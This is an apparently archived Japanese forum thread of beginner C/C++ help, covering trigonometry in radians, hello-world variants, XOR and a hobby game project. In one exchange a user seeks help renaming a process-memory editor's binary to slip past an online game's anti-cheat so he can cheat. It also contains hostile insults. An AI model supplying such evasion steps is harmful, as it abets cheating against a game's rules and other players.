Winアプリ作るのならSDKから入るべし
いきなりMFCとか無駄ス

はじめてのCとかはじめてのC++とか個人的には好き
基礎固めが大事だからC・C++言語の本は必ずいる
ただ、SDK使ったプログラミングとかになるとWebでも結構サンプルとか出てるから
それ見ながら作るのもよし、Windowsプログラミングと書いているのを買うのもよし
759デフォルトの名無しさん:2005/11/28(月) 18:24:55
>>756
D言語とC#とJ#、どれが良いですか?
760デフォルトの名無しさん:2005/11/28(月) 18:25:43
>>759
D言語が断然おすすめニダ
761デフォルトの名無しさん:2005/11/28(月) 18:26:12
vipperは世話好きさんが多いお (* ゚∀゚)人(゚∀゚ *)
762デフォルトの名無しさん:2005/11/28(月) 18:26:17
SDKとMFCって何がどう違うんだ?
VBとかDelphiみたいに視覚的にボタンとか配置できるのはどっち?
763みずき ◆WnmizUKIg6 :2005/11/28(月) 18:26:46 BE:89629643-##
764デフォルトの名無しさん:2005/11/28(月) 18:27:02
>>759
.NET Frameworkが必須なのはやめとき
趣味ならそれらの言語でかまわんと思うが
実践で使うならJava/C++/Cのどれかにすること
765デフォルトの名無しさん:2005/11/28(月) 18:28:07
>>762
SDKは基本的にCで書く
MFCはMSが提供してるクラスライブラリみたいなもんで言語はC++

SDKの仕組みを理解してからでないとMFCはとっつきにくい
766デフォルトの名無しさん:2005/11/28(月) 18:28:43
Qt4しかやったことないウリってどうなのニカ?
767デフォルトの名無しさん:2005/11/28(月) 18:29:22
>>763
誰も張り合ってはないと思うけど、
javaって人気あるんだねぇ。
768デフォルトの名無しさん:2005/11/28(月) 18:29:23
>>762
VC++を開発環境として使うのであれば新規作成の画面で
MFCアプリケーションとWin32アプリケーションと分かれてる。
769デフォルトの名無しさん:2005/11/28(月) 18:31:28
>>760,764
分かりました。
D言語で行こうと思います。
770デフォルトの名無しさん:2005/11/28(月) 18:33:03
>>743
>Borland C++ Compiler
>Visual C++ Toolkit 2003
>LSI C-86 体験版
>Borland C++ BuilderX Personal
>どれがいいんだ?

使ってる Windows が XP 以降なら VC++TK2003 一択。
そうでないならボーランドの方で。
771デフォルトの名無しさん:2005/11/28(月) 18:33:12
JAVAでGUIプログラミングしたいんだけどお奨めの開発ツールある?
772デフォルトの名無しさん:2005/11/28(月) 18:33:39
>>771
Xcode
773デフォルトの名無しさん:2005/11/28(月) 18:35:38
Assembler
Basic
C#
Delphi
この順番で学習していくのが効率がいいですよ。
そしてこれらを学んだらさっさと Ruby に移行しましょう。
774デフォルトの名無しさん:2005/11/28(月) 18:36:21
マカーは死ね
775デフォルトの名無しさん:2005/11/28(月) 18:36:58
>>770
ゴテンクスww
776デフォルトの名無しさん:2005/11/28(月) 18:37:18
>>773
ちょwwwwwおまwwwww

まあ、アセンブリはリンカーとかの関連で覚えるといいけどさ
777デフォルトの名無しさん:2005/11/28(月) 18:52:04
アセンブラってフリーのコンパイラあるのか?
778デフォルトの名無しさん:2005/11/28(月) 18:54:59
nasm
779デフォルトの名無しさん:2005/11/28(月) 18:58:27
GNU Assemblerもあるが

それと細かいことだが、アセンブリ言語をオブジェクトコードにするのが
アセンブラであって、コンパイラなんてものは存在しない
高級言語をオブジェクトコードへ変えるのがコンパイラ
780デフォルトの名無しさん:2005/11/28(月) 19:33:11
>>759
全部使った事ないがJ#は駄目だ。
開発効率を重視するならC#、性能を重視するならD言語でおk
781デフォルトの名無しさん:2005/11/28(月) 19:34:05
アセンブラ (翻訳プログラム)
アセンブリ (言語名称)
アセンブル (翻訳する行為)

コンパイラ (翻訳プログラム)
コンパイリ (×)
コンパイル (翻訳する行為)
782デフォルトの名無しさん:2005/11/28(月) 19:35:33
>>765
SDK=Cって適当すぎるだろ
っつうか理解できてないだろ
783デフォルトの名無しさん:2005/11/28(月) 19:40:01
だが、だが心配のし過ぎではないか。
784デフォルトの名無しさん:2005/11/28(月) 19:42:00
SDK=Cと書いてるように俺は見えないお
785デフォルトの名無しさん:2005/11/28(月) 19:48:21
C言語の半分はSDKでできています
786デフォルトの名無しさん:2005/11/28(月) 19:50:57
C言語の半分をお前にやろう

. はい
[>いいえ
787デフォルトの名無しさん:2005/11/28(月) 19:51:23
なあに、かえって免疫力がつく。
788デフォルトの名無しさん:2005/11/28(月) 19:52:42
だがなあに、かえって免疫力のつき過ぎではないか。
789デフォルトの名無しさん:2005/11/28(月) 20:13:46
あの、今昨日の>>626様の放物線をやってるんですが、

>  double vx = v * cos(d); /* 水平方向の速度 */
>  double vy = v * sin(d); /* 鉛直方向の速度 */

この二つはラジアン角?を入れるのでしょうか・・

double vx = v * cos(d*3.14189/180); /* 水平方向の速度 */

こんな感じで。
いちおうどっちでも放物線ぽい動きをしてくれそうなのですが。
ググってもアフォなので、じぇんじぇんわからないよ・・。

どなたかよろ (T_T)
790デフォルトの名無しさん:2005/11/28(月) 20:13:59
>>749
自分の書いたソースにはコメントいれて
あとで再利用できるようにしときなよ
ぜんぶ頭に入れることはない
791デフォルトの名無しさん:2005/11/28(月) 20:15:39
俺なんかいちいちgoogleで検索してコピペしてるぜ
792デフォルトの名無しさん:2005/11/28(月) 20:16:53
>>789
君にはコンパイラという頼もしい味方がいるではないか。
793デフォルトの名無しさん:2005/11/28(月) 20:17:00
>>791
koders.com使えよ
794デフォルトの名無しさん:2005/11/28(月) 20:17:16
>>771
Eclipse + VisualEditor (これセット内容で本も出てる)とか
JBuilder
NetBeans
795みずき ◆WnmizUKIg6 :2005/11/28(月) 20:26:10 BE:224073656-##
>>789
押入れから出てきた、十進BASIC 頑張って解析してちょ
http://www.vipper.org/vip148689.txt
796789です:2005/11/28(月) 20:41:56
>>792
たまに味方のはずのコンパイラに
ものすっごく連続で怒られるYO!

>>795
797みずき ◆WnmizUKIg6 :2005/11/28(月) 20:44:10 BE:89629643-##
>>796
放物線って言っても色々あるから
>>795はCじゃないけど参考になれば嬉しいな です
798デフォルトの名無しさん:2005/11/28(月) 20:46:39
ちくしょうVIPPERでもわかるプログラムかとおもったら難しいなこりゃ
プログラムってツンデレだな
799デフォルトの名無しさん:2005/11/28(月) 20:47:51
>>797
どもです。もうちょっとがむばってみまっす (`・ω・´)
800デフォルトの名無しさん:2005/11/28(月) 21:02:26
すみません。>>789の質問を取り下げます m(__)m

ラジアン角以外入れるとダメっぽいです。
テストで角度直入れしても普通に動いたんですが、
そのとき入れた値がたまたま普通に動く値だったみたいです orz
801デフォルトの名無しさん:2005/11/28(月) 21:06:50
>>800
普通、三角関数は全てラジアンを引数に取る
manみれば載ってるわけでわざわざ試すほどのことでも無いと思うが
802デフォルトの名無しさん:2005/11/28(月) 21:18:46
printfの次くらいにやる課題をくださいお( ^ω^)
803デフォルトの名無しさん:2005/11/28(月) 21:19:38
自分で考えた嘘放物線よか綺麗なのができたっぽいです。
ttp://www.vipper.org/vip148707.png

でもいまいちコントロールしにくい。


>>801
man??
804デフォルトの名無しさん:2005/11/28(月) 21:19:38
>>802
printf()を作る。

意外と面白いよ。
805みずき ◆WnmizUKIg6 :2005/11/28(月) 21:19:39 BE:239012148-##
>>802
自分の名前を入力したら
***お兄ちゃん、おかえり と出力するプログラム
scanfを使用
806デフォルトの名無しさん:2005/11/28(月) 21:20:34
じゃあprintfを使わないでhello,world表示してみ?
3種類作れたら合格
807デフォルトの名無しさん:2005/11/28(月) 21:20:35
VIPPEでもわかるプログラミングのサイト作ろうと思うんだけど
猫でも〜に怒られないかな?
808デフォルトの名無しさん:2005/11/28(月) 21:21:13
>>807
超期待
809デフォルトの名無しさん:2005/11/28(月) 21:23:40
>>807
怒られないと思う
期待age
810デフォルトの名無しさん:2005/11/28(月) 21:24:04
あ、下げてた
811デフォルトの名無しさん:2005/11/28(月) 21:24:32
とりあえず作ってみるお
812デフォルトの名無しさん:2005/11/28(月) 21:27:47
>>807
できることがあったら協力するお( ^ω^)
813デフォルトの名無しさん:2005/11/28(月) 21:33:14
>>806
puts("hello,world");

putchar('h');
putchar('e');
putchar('l');
putchar('l');
putchar('o');
putchar(',');
putchar('w');
putchar('o');
putchar('r');
putchar('l');
putchar('d');

AfxMessageBox("hello,world");
814デフォルトの名無しさん:2005/11/28(月) 21:35:24
>>803
ttp://www.linux.or.jp/JM/index.html
ちなみにsinはこれ ttp://www.linux.or.jp/JM/html/LDP_man-pages/man3/sin.3.html

そういやmanってmanualの略であってる?
815みずき ◆WnmizUKIg6 :2005/11/28(月) 21:35:40 BE:418270087-##
>>813
おまえ>>802か?俺1個も出来なかったぞ
816デフォルトの名無しさん:2005/11/28(月) 21:38:59
fprintf( stdout, "hello,world" );

これはダメかな?
817デフォルトの名無しさん:2005/11/28(月) 21:39:30
>>813
putcって手もあるな
普通のMessageBox関数でもいけるし
818デフォルトの名無しさん:2005/11/28(月) 21:45:24
>>814
なるほど。IT用語辞典とかで調べても出てこないわけだw
MSDNの一つには↓みたいに書いてありました。

public static native double sin( double a )
パラメータ
a
ラジアンで表した角度。
戻り値
引数のサイン。


ありがとん!
819デフォルトの名無しさん:2005/11/28(月) 21:50:57
>>818
それはおそらくCのsin関数ではない。気をつけろ。
820デフォルトの名無しさん:2005/11/28(月) 21:51:59
ところで>>750がCをプログラミング言語の本質と語っていることには誰も突っ込まないのか。
情けない。
821デフォルトの名無しさん:2005/11/28(月) 21:54:58
>>819
なんか候補が4つぐらい出てきたので、
ラジアンて書いてあるのをコピペしました ;^_^)
822デフォルトの名無しさん:2005/11/28(月) 21:55:28
C言語の半分は日本語でおkでできています
823デフォルトの名無しさん:2005/11/28(月) 22:08:25
バイナリに関しての質問をしたいのですが、ここでいいですか?
宜しければ誘導を。。
824デフォルトの名無しさん:2005/11/28(月) 22:09:42
825デフォルトの名無しさん:2005/11/28(月) 22:10:23
>>823
とりえあず、投下してみれば?
826デフォルトの名無しさん:2005/11/28(月) 22:13:47
ifできるようなったお
827デフォルトの名無しさん:2005/11/28(月) 22:19:53
>>823
じゃあスレ汚しすみません、てことでここで、、
MapleStoryと言うオンラインゲームのチートをするために、うさみみハリケーンと言う
アプリケーションのプロセスメモリを書き換えるものを実行したいのですが、
Mapleを実行したままうさみみを実行するとMapleのほうが「このプロセスをMapleを同時実行できません」
とエラーを出します、競合というヤツらしいです。
バイナリで名前(恐らくプロセス名かと)を書き換えれば無問題らしいですが
うさみみをバイナリエディタで開いたデータの中から、Usamimiの文字列を探し出せばいいような気がするのですが
で、データの中から一定の文字列を探し出すにはどうすればいいのでしょうか、
という質問です。
828デフォルトの名無しさん:2005/11/28(月) 22:25:03
バイナリってそういう系か
829デフォルトの名無しさん:2005/11/28(月) 22:25:13
 _,
( ゚д゚)
830デフォルトの名無しさん:2005/11/28(月) 22:25:21
 _,
( ゚д゚)
831デフォルトの名無しさん:2005/11/28(月) 22:27:40
>>827
なんかあれな質問な上に質問の中に答えがあるんだけど・・・
BZとかStirlingとかのバイナリエディタで開けば普通に検索できる
これ以上はプログラムというか、ソフトの使い方なんで、そっちへどぞ。

832デフォルトの名無しさん:2005/11/28(月) 22:29:18
>>828
はい、すみませんが、こういう系です。
余計な事を書かないで「文字列を検索する方法を...」と書けば良かったかなぁ、と思いました。。
本当にすれ汚しすみません、と言う事で消えます。もし知ってる方居ましたら
“こういう系”のわかり易い説明を載せている所でも教えて頂きたいです。
833デフォルトの名無しさん:2005/11/28(月) 22:30:33
>>827
氏ね
834デフォルトの名無しさん:2005/11/28(月) 22:30:36
>>832
消えろカス
835デフォルトの名無しさん:2005/11/28(月) 22:30:51
>>833
いい奴乙
836デフォルトの名無しさん:2005/11/28(月) 22:31:10
>>833はツンデレ
837デフォルトの名無しさん:2005/11/28(月) 22:31:19
スレタイ読めや\(^o^)/
838デフォルトの名無しさん:2005/11/28(月) 22:31:41
>>832
死ね死ね死ね
839807:2005/11/28(月) 22:32:00
挫折しますた
840デフォルトの名無しさん:2005/11/28(月) 22:32:51
>>839
テラハヤスwwwwwwwwwwwww
841みずき ◆WnmizUKIg6 :2005/11/28(月) 22:32:56 BE:44815032-##
>>839
感動した
842デフォルトの名無しさん:2005/11/28(月) 22:35:05
>>839
秋葉いけば何でも売ってるだろ
843デフォルトの名無しさん:2005/11/28(月) 22:35:51
>>839
まぁ、プログラミングなんて人によってかなり飲み込み違うしな
とりあえずはQ&A集から始めたらいいんじゃまいか?
844デフォルトの名無しさん:2005/11/28(月) 22:37:23
>>831
マジですか?Stirlingでうさみみを開いて
検索・移動(S)→検索→文字列検索、でusamimi、やってみましたが見つかりません、、
アスキー領域にusamimi、の文字列があるのですか?
もしくは、16進数ダンプ領域に、16進数に変換されたうさみみ、の文字列があるんですか?
>>833
すれ汚しすみませんです、それを、使っております。

ソフト板にStirlingのスレがなかったので
バイナリエディタについて、のスレで、この板に誘導されたのでこちらで質問させてもらいました。。
845デフォルトの名無しさん:2005/11/28(月) 22:40:10
>>844
死ね






死ね




死ね





死ね




死ね






死ね
846上様 ◆V9ZN5iAEdc :2005/11/28(月) 22:41:28
ID表示ないのですね、、
あぼん推奨なのでコテ付けときます。今更ですが。。
847デフォルトの名無しさん:2005/11/28(月) 22:41:40
>>844
890 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 21:55:31 ID:JSIlBm610
バイナリデータに関しての質問がしたいのですがここじゃダメですよね?

891 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:01:05 ID:EkiYKZnd0
ム板かマ板いけ

892 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:07:34 ID:JSIlBm610
ムの方でいいんですかね。どうもありがとう



VIPスレに来るな死ね
848デフォルトの名無しさん:2005/11/28(月) 22:43:51
>>846
死ねよカス
849デフォルトの名無しさん:2005/11/28(月) 22:45:03
>>847
そこでム板とマ板に誘導した奴氏ね
ネトゲサロン辺りで引き取れよ
850デフォルトの名無しさん:2005/11/28(月) 22:45:41
バイナリエディタについて
http://pc7.2ch.net/test/read.cgi/software/997199775/891


誘導したカス発見
851デフォルトの名無しさん:2005/11/28(月) 22:46:13
よし、今から誘導した奴潰すお
852デフォルトの名無しさん:2005/11/28(月) 22:48:37
うさみみ相談室になっとる
853ねこみみメイド:2005/11/28(月) 22:54:53
うさみみメイドに転職したいんですが...
854デフォルトの名無しさん:2005/11/28(月) 22:56:42
諦めだけが肝心
855デフォルトの名無しさん:2005/11/28(月) 22:57:06
>>827
http://live19.2ch.net/mmoqa/
ネトゲ質問板池
856上様 ◆V9ZN5iAEdc :2005/11/28(月) 22:59:04
>>827
それこそスレ違いな気がしますが、ここには居場所がないので消えますね。
スレ汚しすみませんでした。
857みずき ◆WnmizUKIg6 :2005/11/28(月) 22:59:48 BE:537775889-##
MapleStroyか

うふふ
858デフォルトの名無しさん:2005/11/28(月) 23:00:37
>>857
なんだよ、お前は
859デフォルトの名無しさん:2005/11/28(月) 23:02:07
ネトゲ質問板を板違いと判断するのに、ここに来る意味がわからない
860デフォルトの名無しさん:2005/11/28(月) 23:02:50
人、それを厨房と呼ぶ
861デフォルトの名無しさん:2005/11/28(月) 23:05:01
エロゲ脳、それをドジっ娘と呼ぶ
862デフォルトの名無しさん:2005/11/28(月) 23:20:14
3日でcharポインタまで覚えた
うはwwwテラマンドクサスwwwwww
863デフォルトの名無しさん:2005/11/28(月) 23:25:32
Cには文字列型というのがないから面倒だな
864デフォルトの名無しさん:2005/11/28(月) 23:28:28
>>862
_  o
|| ._)
..乙|
865デフォルトの名無しさん:2005/11/28(月) 23:39:39
  っ
_ o っ
||(__
..乙|
866デフォルトの名無しさん:2005/11/28(月) 23:41:48
vcのインラインアセンブラでprintf呼び出さずに文字列表示って無理ですか?
867デフォルトの名無しさん:2005/11/28(月) 23:50:28
>>866
>>359が参考になるんじゃね?
868デフォルトの名無しさん:2005/11/29(火) 16:05:47
例外を覚えた

#include <iostream>

int main()
{
    int a=0, b=0, c=0;

    try
    {
        a=b/c;
    }
    catch( ...)
    {
        printf("zero divide\n");
    }

    return 0;
}
869デフォルトの名無しさん:2005/11/29(火) 16:15:58
先々週ぐらいにvipのプログラムスレで
「誰か爆裂カブトムシってゲーム作って〜」って依頼してたひと、
まだこのスレ見てます?

たぶん↓の絵を上げてくれた人だと思うのですが・・
http://www.vipper.org/vip149071.jpg

今ちょっと作り始めたんですが、
私そのゲームやったこと無いので二三質問が。
いますか〜。。
870デフォルトの名無しさん:2005/11/29(火) 16:17:39
>>869
ああ、俺やったことあるよそれ。何かのミニゲームだったような記憶がある。
871デフォルトの名無しさん:2005/11/29(火) 16:19:14
ttp://www.rpgdl.org/sfc/mario_game.html#mashcastle

スーパーマリオRPGだった
872デフォルトの名無しさん:2005/11/29(火) 16:19:52
SFCのマリオRPGのミニゲームらすぃです。

とりあえず、カブトムシが自機で甲羅が敵。
★が甲羅壊したときにでる弾?でいいんですかね。
873デフォルトの名無しさん:2005/11/29(火) 16:21:47
かぶった・・

>>871のサイトに基本的なことは書いてますね。
874デフォルトの名無しさん:2005/11/29(火) 17:05:01
今のVCってint 0x21なんて使えたっけ?
16bitじゃないと無理だったような……
875デフォルトの名無しさん:2005/11/29(火) 17:15:42
                   ,.、 ,.、
           ,.、 ,.、     ヽ'::':/
           ヽ'::':/      }:::{
            }:::{      l:::|
     ハァハァ     l:::|     :yァ|:::l
           i:yァ|:::l     l:(.ノ:::l   ちょwwwwおまwww
          l:(.ノ:::l  ,.r:::'':::!:::ヽ゚;~   __,俺wwwオスwwww
        ,.r:::'':::!:::ヽ゚;~ 〈;;;:::::::::::::::゙:i,,__,〃 ` ヤメレwwwwおちけつwww
       .〈;;;:::::::::::::::゙:i,,__,〃'''::::-:::〈ー‐"
      /~:::y'''::::-:::〈ー‐":::::::::::::〈:、
      /::::::/:::::::::::::〈:、::::/:::::::::::::/ ヾ! 
      /:::::/:::::::::::::/ ヾ!:/:::::::::::::〈:、 l:!
    ,:'!::::/:::::::::::::〈:、 l:!〈_:::;;;:::ノ .l:l  ヽ、 
.   〃ゝ〈_:::;;;:::ノ .l:l  ヽ、     l:!  
  _〃         l:!  
876Baku(仮) ◆ryjMYLsfPA :2005/11/29(火) 18:33:28
カブトムシのプロトタイプ作り中。
今できてるとこまでうpります。
感じとしては、こんなんでしょうか?
やったことある人、どうか意見よろ m(__)m

色んな意味で目に悪いっぽいんですが・・
ttp://www.vipper.org/vip149111.zip
http://www.vipper.org/vip149112.png


絵はたぶんあとで入れます。たぶんw
877Baku(仮):2005/11/29(火) 18:35:08
動作は全部マウスでやることになると思います。
なので、バランスはめちゃくちゃになるかと
878みずき ◆WnmizUKIg6 :2005/11/29(火) 18:35:55 BE:313702676-##
>>876
全米が完成を待ち望んでる
879デフォルトの名無しさん:2005/11/29(火) 18:39:03
>>878
どもです。ここからが難しそうなので、果たしてどうなるかなぁ。
今週中に終わらないと辞めるかもです。
880デフォルトの名無しさん:2005/11/29(火) 19:06:42
僕もlibvorbisをチューンしてみるお
881デフォルトの名無しさん:2005/11/29(火) 20:44:32
>>876
ヒント:ダブルバッファリング

ちなみにカブトムシゲームはブロック崩しで例えると
”動くブロックかな”もちろん上下左右のどこかにあたると跳ねる
あとは時間が経過するとともに速度が加速するのと
1個潰れると星が出てその星が別の甲羅に当たるとその甲羅も潰れてほかの甲羅をつぶせる

分かりやすく言うと核分裂反応と一緒で、中性子が核に当たってその核から(ry
882デフォルトの名無しさん:2005/11/29(火) 22:25:14
>>881
核分裂反応を例に出してる時点ですごくよくわかりませn
883デフォルトの名無しさん:2005/11/29(火) 22:41:01
>>882
簡単に言うと「誘爆」システム
連続で誘爆させればさせるほど点数が倍化する

あと、ただの落ちものじゃなく甲羅は画面の端で反射して、徐々に跳ねなくなって最後は爆発する
物理の知識が要るかな
884デフォルトの名無しさん:2005/11/29(火) 22:42:17
>>883
なるほど。わかったような気になる。

まったく関係ない話なのだがXOR演算というのについて詳しく
教えていただけないでしょうか。排他的論理和演算とか言うらしい
885デフォルトの名無しさん:2005/11/29(火) 22:59:52
A B
0 0 0
1 0 1
0 1 1
1 1 0
886デフォルトの名無しさん:2005/11/29(火) 23:00:23
↑のは真理値表ね
887デフォルトの名無しさん:2005/11/29(火) 23:00:23
>>884
電卓起動→表示→関数電卓→2進

でチンコいじるとなんとなく分かるよ
888デフォルトの名無しさん:2005/11/29(火) 23:03:06
>>884
885に書いてある通りで2つが違えば真、同じなら偽と俺は覚えた。

ちなみに排他的論理和のほかに論理差と言う言葉も見かけたことがある。
889デフォルトの名無しさん:2005/11/29(火) 23:03:07
>>885
ABが同じだと0になるってこと?
>>887
いじってくる
890デフォルトの名無しさん:2005/11/29(火) 23:05:01
>>888
なるほど。わかったけど何の役に立つのだろうか・・・。
891デフォルトの名無しさん:2005/11/29(火) 23:05:23
排他なんだから、どちらか一方のみっていう意味。
どちらか一方が真で真になる。
892みずき ◆WnmizUKIg6 :2005/11/29(火) 23:06:36 BE:119506144-##
>>890
色扱うときにも必要になるかもしれんのよ
893デフォルトの名無しさん:2005/11/29(火) 23:06:37
Office製品のパスワードクラックするとき以外の使い道は知らん
894デフォルトの名無しさん:2005/11/29(火) 23:08:53
>>890
01101011(2) の右半分(例えば)のビットを反転させたい時とか・・・

01101011(2) XOR 00001111(2)
895デフォルトの名無しさん:2005/11/29(火) 23:16:19
>>891
把握した
>>892
へぇ
>>893
詳しくw
>>894
なるほど。
896デフォルトの名無しさん:2005/11/29(火) 23:24:15
xorってレジスタを0にするときに使うよね
897デフォルトの名無しさん:2005/11/29(火) 23:34:45
return 0; とかな。
898デフォルトの名無しさん:2005/11/29(火) 23:40:45
ついに、このスレからゲームが生まれるんですね
899みずき ◆WnmizUKIg6 :2005/11/29(火) 23:47:38 BE:470554079-##
Game of the Year
900デフォルトの名無しさん:2005/11/29(火) 23:54:00
>>899
おまえ、ブログまで始めたのか
901デフォルトの名無しさん:2005/11/29(火) 23:54:08
レス番飛ぶと気になるからみずきはレスすんな
902デフォルトの名無しさん:2005/11/30(水) 00:08:57
NGワードしても結局気になって見てしまうから意味無し
903みずき ◆WnmizUKIg6 :2005/11/30(水) 00:10:17 BE:156852037-##
Nameあぼリスト0だから気持ちわからないな(´・ω・`)
自分色のブラウザ頑張って作ってくださいね
904デフォルトの名無しさん:2005/11/30(水) 00:13:32
>>903
性別おしえろ
905みずき ◆WnmizUKIg6 :2005/11/30(水) 00:14:37 BE:44815032-##
永遠の14歳
906デフォルトの名無しさん:2005/11/30(水) 00:15:58
みずきは男だよ
907デフォルトの名無しさん:2005/11/30(水) 00:16:00
♂か♀かきいてんだよ
908デフォルトの名無しさん:2005/11/30(水) 00:19:00
>>906
そうなんだ、女だったらまだNGはしなかったが
909じぇりー ◆iU3JdxzRl6 :2005/11/30(水) 00:27:06
じぇりーも男だよ。
910デフォルトの名無しさん:2005/11/30(水) 00:32:53
誰も聞いてないよ?
911みずき ◆WnmizUKIg6 :2005/11/30(水) 01:02:34 BE:179259146-##
クリスマス何かしませんか、案お待ちしてます

おまえら土日までに一本ゲーム作るスレ4
http://pc8.2ch.net/test/read.cgi/gamedev/1133008523/64-
912デフォルトの名無しさん:2005/11/30(水) 01:16:57
C++初心者でs
結構いろんなデータメンバを持ってるクラスXのインスタンスを100,00,00個くらい作りたいんだけど
それは生成するときはnew使ってるのです
でもスタックオーバーフローって出るのはそれぞれのインスタンスのデータメンバが溢れてるせいなのだろうか('A`)
913デフォルトの名無しさん:2005/11/30(水) 01:30:25
newで確保したポインタを格納する変数の方が問題なんじゃね?
914デフォルトの名無しさん:2005/11/30(水) 01:38:10
そーすうp
915Baku(仮) ◆ryjMYLsfPA :2005/11/30(水) 02:14:31
>>881 >>883
な、なんか私、激しく勘違いしてた気が ;´д`)

カブトムシは画面下固定だと思ってたんですが、
自由に動けるんでしょか?

甲羅は上から下に落ちてくるだけだと思ってたんですが、
斜めにも動く??しかも画面端で反射??
出現甲羅の出現は基本的には上から降ってくる感じでいいんでしょか。

あとカブトムシの攻撃法がよくわからないのですが、
もしや>>876みたく弾撃つんじゃないとか?
>>871のサイトにも自爆して★を出すとかなんとか書いてあるし。

ググるとこちらのサイト様の→ttp://nagoya.cool.ne.jp/o_mega/product/e2.html
EveryExtendってゲームにちょっと似てるとか。
なんでも今度PSPに移植される凄いゲームらしいのですが。。

ダブルバッファリングはそろそろ必要っぽいですね ^^

>物理の知識が要るかな

('A`) マジデ・・
916デフォルトの名無しさん:2005/11/30(水) 02:21:27
http://www.google.co.jp/search?hl=ja&q=%E2%97%86ryjMYLsfPA&lr=
これはいい具合のコテですね
917デフォルトの名無しさん:2005/11/30(水) 02:22:51
エミュでやればいいじゃない。
918デフォルトの名無しさん:2005/11/30(水) 02:23:48
工エエェェ(´д`)ェェエエ工
919Baku(仮):2005/11/30(水) 02:37:09
>>916
おや、前までググっても「VIPPER親子仲直り〜」だけだったのに、
なぜか一個増えてるw

>>917
ちょww
920デフォルトの名無しさん:2005/11/30(水) 02:43:27
>>915
物理って言っても重力加速度や跳ね返り程度だぞ
921デフォルトの名無しさん:2005/11/30(水) 02:47:33
>>915
ああ、このゲームを弾撃てるようにして甲羅が跳ね返るようにすればほぼそのとおりだよ


っつうかまさかパクリじゃ(ry
922Baku(仮):2005/11/30(水) 02:58:47
>>920
それのみならならなんとか。

>>921
弾は撃てていいんですか。
背景マップに判定は無くていいんですよね。

あと、>>915のEveryExtendだと横から敵が出てきてるんですが、
カブトムシの場合も主に横から出るんでしょか?
923デフォルトの名無しさん:2005/11/30(水) 03:02:00
>>922
上から斜めに降ってくる
ボールを落とす感じ
924デフォルトの名無しさん:2005/11/30(水) 03:10:23
エディタなんかだとクローンといい、ゲームだとパクリといわれる

ま、そんなもんさ
925デフォルトの名無しさん:2005/11/30(水) 03:10:31
おお、ありがたや、ありがたや (-人-)
だいぶ固まってきたかも。

あと一個だけ!
敵倒したとき出る星の数と、
挙動はどんな感じでしょうか?
>>>>876のだとほぼ下方向に落ちていく感じなのですが、
もっとパーっと放射状に飛ばしたほうがいいんでしょうか。
質問ばっかしてすみません。
926デフォルトの名無しさん:2005/11/30(水) 03:33:45
>>925
放射状
927デフォルトの名無しさん:2005/11/30(水) 03:34:34
>>924
アイデアをパクるか使い易さをパクるかの違い…
じゃなくて単に劣化してるから。
928デフォルトの名無しさん:2005/11/30(水) 03:47:38
この場合はパクリとは言わんだろ、元あるものを再現しようとしてるんだから
すでにあるものを作りたいってのはよくわかんないけどね。
929デフォルトの名無しさん:2005/11/30(水) 03:59:45
>>928
俺がパクリじゃね?って言ったのはこっち→ttp://nagoya.cool.ne.jp/o_mega/product/e2.html

誘爆のシステムとかがモロで
930デフォルトの名無しさん:2005/11/30(水) 07:04:04
パクリ?
いやインスパイy
931デフォルトの名無しさん:2005/11/30(水) 08:52:55
パクリじゃなくて「ジャンル」だよw
932デフォルトの名無しさん:2005/11/30(水) 09:33:07
シューティングに酒飲ませて顔赤らめればオリジナルになるので無問題
933デフォルトの名無しさん:2005/11/30(水) 13:26:44
インスパイヤと言え!!
934デフォルトの名無しさん:2005/11/30(水) 13:53:29
IEコンポさん・・リファラ偽装させて下さい・・
935デフォルトの名無しさん:2005/11/30(水) 14:09:40
>>929
すま、よく見てなかった
936デフォルトの名無しさん:2005/11/30(水) 16:43:28
もちろん、誰も批判はしてないから気にするな

全てをありのまま受け入れるのがVIP
937デフォルトの名無しさん:2005/11/30(水) 16:56:17
勝手にVIPPERの定義を作っちゃうのがVIP
938デフォルトの名無しさん:2005/11/30(水) 18:41:01
>>912
たぶん
バカデカイ配列変数を関数内で宣言してるだろ
939デフォルトの名無しさん:2005/11/30(水) 18:49:19
>>912
なんのために100万個もw
しかも数字の点打つとこ間違ってるしww
940みずき ◆WnmizUKIg6 :2005/11/30(水) 18:50:04 BE:201665693-##
>>939
100,00,00個吹いた
941デフォルトの名無しさん:2005/11/30(水) 18:55:27
誰かが>>939に対してレスしたような気がした
942みずき ◆WnmizUKIg6 :2005/11/30(水) 18:56:28 BE:186728055-##
>>941
ヽ(*´∀`*)ノキャッキャ
943デフォルトの名無しさん:2005/11/30(水) 19:36:40
#include <stdio.h>

int main(int argc, char *argv[])
{
printf("%s¥n", argv[0]);
argv[0] = "VIP";
printf("%s¥n", argv[0]);
return 0;
}
944デフォルトの名無しさん:2005/11/30(水) 20:09:39
なにがしたいんだよw
945デフォルトの名無しさん:2005/11/30(水) 20:28:19
ファイルの分割でコンパイルエラー出まくり orz

意味ワカンネ ┐(´ー`)┌
946デフォルトの名無しさん:2005/11/30(水) 20:47:31
>>945
とりあえずソース晒すよろし
947デフォルトの名無しさん:2005/11/30(水) 21:03:52
それはできない(´ー`)
948デフォルトの名無しさん:2005/11/30(水) 21:05:14
ちゃんとインクルードしてるか
949945:2005/11/30(水) 22:13:02

#ifndef aaa
#define aaa

#endif


んー、基本的にはヘッダを↑みたなので囲めば
大丈夫なんですよね?
950デフォルトの名無しさん:2005/11/30(水) 22:14:35
そうだけど、ソースさらさないなら、せめてエラーメッセージくらいさらせば?
951デフォルトの名無しさん:2005/11/30(水) 22:17:00
>>949
たぶん、関数の実装をヘッダに書いちゃってる悪寒。
952945:2005/11/30(水) 22:25:06
>>951
うはww書きまくりんぐwwww
まずいんですかね
953デフォルトの名無しさん:2005/11/30(水) 23:13:53
べつにまずくないけど気をつけないと多重定義云々面倒くさいことに
何のエラーでてるかわからんと何とも言えないよね
954デフォルトの名無しさん:2005/11/30(水) 23:47:36
>>945
とりあえずソース晒すよろし
955デフォルトの名無しさん:2005/12/01(木) 12:07:52
ラウンジからきますた
956デフォルトの名無しさん:2005/12/01(木) 12:32:55
>>955
お引き取り下さい
957デフォルトの名無しさん:2005/12/01(木) 16:36:13
>>953 >>954
ttp://www.vipper.org/vip150503.zip
ttp://www.vipper.org/vip150504.zip

ヘッダに実装ありバージョンと実装無しバージョンのテストです。
ヘッダに実装ありの方はエラー出ます。

